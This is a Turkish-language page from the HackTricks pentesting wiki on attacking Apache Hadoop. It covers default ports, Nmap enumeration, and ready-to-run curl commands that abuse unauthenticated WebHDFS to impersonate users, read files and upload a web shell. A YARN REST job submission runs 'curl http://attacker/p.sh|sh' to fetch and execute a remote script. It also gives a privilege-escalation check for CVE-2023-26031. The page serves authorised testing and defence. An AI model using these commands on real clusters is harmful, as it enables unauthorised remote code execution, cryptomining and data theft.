50030-50060-50070-50075-50090 - Pentesting Hadoop
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Apache Hadoop, bilgisayar kümeleri üzerinde büyük veri setlerinin dağıtık depolanması ve işlenmesi için bir açık kaynaklı çerçevedir. Depolama için HDFS, işlem için MapReduce kullanır.
Kullanışlı varsayılan portlar:
- 50070 / 9870 NameNode (WebHDFS)
- 50075 / 9864 DataNode
- 50090 Secondary NameNode
- 8088 YARN ResourceManager web UI & REST
- 8042 YARN NodeManager
- 8031/8032 YARN RPC (çoğu kurulumda sıklıkla unutulur ve hâlâ kimlik doğrulamasız bırakılır)
Ne yazık ki belgeleme sırasında Hadoop’un Metasploit framework’ünde desteği yoktur. Ancak Hadoop servislerini listelemek için aşağıdaki Nmap scripts’leri kullanabilirsiniz:
hadoop-jobtracker-info (Port 50030)hadoop-tasktracker-info (Port 50060)hadoop-namenode-info (Port 50070)hadoop-datanode-info (Port 50075)hadoop-secondary-namenode-info (Port 50090)
Varsayılan yapılandırmada Hadoop’un kimlik doğrulama olmadan çalıştığını not etmek çok önemlidir. Ancak güvenliği artırmak için HDFS, YARN ve MapReduce servisleriyle Kerberos entegrasyonu sağlayan yapılandırmalar mevcuttur.
WebHDFS / HttpFS suistimali (50070/9870 or 14000)
security=off olduğunda user.name parametresi ile herhangi bir kullanıcının taklidini yapabilirsiniz. Bazı basit işlemler:
# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"
# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"
# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'
HttpFS etkinse (varsayılan port 14000) aynı REST yolları geçerlidir. Kerberos arkasında yine geçerli bir ticket ile curl --negotiate -u : kullanabilirsiniz.
YARN unauth RCE (8088)
ResourceManager REST API varsayılan “simple” modda (dr.who) auth olmadan job gönderimlerini kabul eder. Saldırganlar bunu HDFS write access gerekmeksizin rastgele komutlar (ör. miners) çalıştırmak için suistimal eder.
# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application
# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'
Eğer port 8031/8032 RPC erişilebilir durumdaysa, eski cluster’lar protobuf üzerinden kimlik doğrulama olmadan aynı job gönderimine izin verir (birkaç cryptominer kampanyasında belgelenmiştir) — bu portları da RCE olarak değerlendirin.
YARN container’larından Local PrivEsc (CVE-2023-26031)
Hadoop 3.3.1–3.3.4 container-executor, kütüphaneleri göreli RUNPATH’ten yükler. YARN container’larını çalıştırabilen bir kullanıcı (güvensiz cluster’larda uzaktan submit yapanlar dahil), yazılabilir bir yola kötü amaçlı bir libcrypto.so bırakabilir ve container-executor SUID ile çalıştığında root elde edebilir.
Hızlı kontrol:
readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable
3.3.5’te düzeltildi; güvenli konteynerler gerekli değilse binary’nin SUID olmamasını sağlayın.
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


